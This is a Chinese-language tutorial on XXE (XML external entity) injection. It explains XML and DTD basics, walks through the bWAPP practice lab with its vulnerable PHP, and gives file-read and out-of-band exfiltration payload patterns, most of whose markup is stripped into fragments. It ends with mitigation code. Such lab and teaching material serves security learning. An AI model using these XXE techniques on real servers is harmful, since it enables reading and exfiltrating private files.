0x01 XXE基础-XML基础语法
XML被设计用来传输和存储数据。
HTML被设计用来显示数据。
0x02 什么是XML
- XML 指可扩展标记语言(EXtensible Markup Language)。
- XML 是一种很像HTML的标记语言。
- XML 的设计宗旨是传输数据,而不是显示数据。
- XML 标签没有被预定义。需要自行定义标签。
- XML 被设计为具有自我描述性。
- XML 是 W3C 的推荐标准。
0x03 XML基础语法
- XML可以自定义标签。
- XML必须含有根元素。
- XML必须按顺序闭合标签。
- XML标签大小写敏感。
- XML属性值须加引号。
举个小栗子
Tove
Jani
Reminder
Don't forget me this weekend!
0x04 XML实体引用
在 XML 中,一些字符拥有特殊的意义。
如果您把字符 "<" 放在 XML元素中,会发生错误,这是因为解析器会把它当作新元素的开始。
荔枝
if salary < 1000 then
if salary < 1000 then
实体引用
在 XML 中,有 5 个预定义的实体引用:
实体引用 | 特殊字符 | 含义 |
---|---|---|
< ; | < | less than |
> ; | > | greater than |
& ; | & | ampersand |
&apos ; | ' | apostrophe |
" ; | " | quotation mark |
0x05 DTD内外部引用
DTD(文档类型定义)的作用是定义XML文档的合法构建模块。
DTD 可被成行地声明于XML文档中,也可作为一个外部引用。
内部引用语法
内部引用栗子
]>
Tove
Jani
Reminder
Don't forget me this weekend
- !DOCTYPE note (第二行)定义此文档是 note 类型的文档。
- !ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
- !ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
- !ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
- !ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
- !ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型
外部引用语法
外部引用栗子
Tove
Jani
Reminder
Don't forget me this weekend!
==参数化外部引用==
参数实体:
参数实体只能在DTD中使用,参数是实体的声明格式:
引用方式:%实体名
0x06 什么是XXE漏洞
XXE漏洞全称XML External Entity Injection即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、×××内网网站、发起dos×××等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
0x07 XXE测试环境-弯(有回显)
当允许引用外部实体时,通过构造恶意内容,可导致任意文件读取、执行系统命令、探测内网端口等危害。
环境
bwapp ==> XML External Entity Attacks (XXE)
文件:/bWAPP/xxe-1.php
function ResetSecret()
{
var xmlHttp;
// Code for IE7+, Firefox, Chrome, Opera, Safari
if(window.XMLHttpRequest)
{
xmlHttp = new XMLHttpRequest();
}
// Code for IE6, IE5
else
{
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlHttp.open("POST","xxe-2.php",true);
xmlHttp.setRequestHeader("Content-type","text/xml; charset=UTF-8");
xmlHttp.send("Any bugs? ");
}
xxe-1.php 文件中将接收到的XML文件通过POST方式发送给xxe-2.php。
$body = file_get_contents("php://input");
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{
ini_set("display_errors",1);
$xml = simplexml_load_string($body);
$login = $xml->login;
$secret = $xml->secret;
if($login && $login != "" && $secret)
{
$sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
$recordset = $link->query($sql);
if(!$recordset)
{
die("Connect Error: " . $link->error);
}
$message = $login . "'s secret has been reset!";
}
else
{
$message = "An error occured!";
}
}
echo $message;
xxe-2.php文件通过PHP伪协议接收xml内容,然后解析,通过xml中获取的login元素值回显。
payload 读取文件
]>
&a; Any bugs?
读取文件句式
//通过file协议读取。
]>
&c;
//通过PHP伪协议php://filter/读取。
]>
&file;
//通过引用远程外部实体读取。
%d;
]>
&b;
DTD文件内容
//通过引用远程外部实体读取。
&b;
DTD文件内容
0x08 XXE测试环境-图(无回显)
环境
%dtd;
]>
EOF;
$date = simplexml_load_string($xml);
//var_dump($date);
?>
当服务器没有结果回显时,可以通过将数据发送到VPS等获取服务器数据。
2.dtd 文件内容
"
>
%all;
%send;
2.php 文件内容
结果
结果可以在2.txt中查看,示例内容如下:
PD9waHANCiR4bWwgPSA8PDxFT0YNCjw/eG1sIHZlcnNpb249IjEuMCI/Pg0KPCFET0NUWVBFIEFOWVsNCg0KPCFFTlRJVFkgJSBmaWxlIFNZU1RFTSAicGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPTEucGhwIj4NCjwhRU5USVRZICUgZHRkIFNZU1RFTSAiaHR0cDovLzEyNy4wLjAuMS9UcmFpbmluZy9iV0FQUC8xcGF5bG9hZC8yLmR0ZCI DQolZHRkOw0KXT4NCkVPRjsNCiRkYXRlID0gc2ltcGxleG1sX2xvYWRfc3RyaW5nKCR4bWwpOw0KdmFyX2R1bXAoJGRhdGUpOw0KPz4NCg==
0x09 XXE防护
方案一、使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二、过滤用户提交的XML数据
关键词: